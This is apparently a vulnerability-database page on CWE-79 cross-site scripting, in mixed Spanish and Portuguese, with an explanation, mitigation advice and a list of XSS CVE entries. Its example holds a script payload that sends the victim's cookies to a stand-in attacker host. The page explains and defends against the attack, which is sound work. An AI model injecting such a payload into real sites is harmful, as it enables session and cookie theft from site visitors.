Fallos del tipo CWE-79

30.315 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-25625MEDIUMA stored cross-site scripting vulnerability exists in FS model S3150-8T2F switches running firmware s3150-8t2f-switch-fsos-220d_118101 and wEPSS 0.2%CVE-2025-63638MEDIUMSourcecodester AI-Powered To-Do List App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the "Task Title" and "Description (Optional)" fEPSS 0.2%CVE-2026-111111HIGHPrime Slider <= 4.7.2 - Unauthenticated Stored Cross-Site Scripting via Comment Content via Content_Guard Regex Quote-EscapeEPSS 0.2%CVE-2025-4591MEDIUMWeluka Lite <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-4055MEDIUMMultiple Post Type Order <= 1.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via mpto ShortcodeEPSS 0.2%CVE-2026-58519MEDIUMStored XSS through Cargo's map formatEPSS 0.2%CVE-2025-63639MEDIUMThe chat feature in the application Sourcecodester FAQ Bot with AI Assistant v1.0 is vulnerable to Cross-Site Scripting (XSS) due to impropeEPSS 0.2%CVE-2024-56224MEDIUMWordPress Ledenbeheer plugin <= 2.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-53287MEDIUMImproper neutralization of input during web page generation ('Cross-site Scripting') vulnerability in VPN Setting functionality in Synology EPSS 0.2%CVE-2025-61087MEDIUMSourceCodester Pet Grooming Management Software 1.0 is vulnerable to Cross Site Scripting (XSS) via the Customer Name field under Customer MEPSS 0.2%CVE-2026-97342HIGHJetFormBuilder <= 3.6.5.4 - Unauthenticated Stored Cross-Site Scripting via 'choice' Post Meta via Insert/Update Post ActionEPSS 0.2%CVE-2025-23079MEDIUMXSSes in Extension:ArticleFeedbackv5EPSS 0.2%CVE-2026-96558HIGHQuiz and Survey Master (QSM) <= 11.2.6 - Unauthenticated Stored DOM-Based Cross-Site Scripting via 'qsm_hidden_questions' ParameterEPSS 0.2%CVE-2026-96568HIGHRestaurant Menu and Food Ordering <= 2.4.14 - Unauthenticated Stored Cross-Site Scripting via 'phone_number' ParameterEPSS 0.2%CVE-2026-100186HIGHUser Profile Builder <= 4.0.3 - Unauthenticated Stored Cross-Site Scripting via First Name FieldEPSS 0.2%CVE-2026-110530HIGHFeedWordPress <= 2026.0517 - Unauthenticated Stored Cross-Site Scripting via Syndicated Feed ContentEPSS 0.2%CVE-2025-2874MEDIUMUser Submitted Posts <= 20241026 - Authenticated (Admin+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-61996MEDIUMOPEXUS FOIAXpress stored XSS via annual report templateEPSS 0.2%CVE-2026-94573HIGHRepeater Fields for Elementor Forms <= 2.2.7 - Unauthenticated Stored Cross-Site Scripting via Repeater Field ValueEPSS 0.2%CVE-2025-63640MEDIUMSourcecodester Medicine Reminder App v1.0 is vulnerable to Cross-Site Scripting (XSS) in the "Medicine Name" and "Notes (Optional)" fields wEPSS 0.2%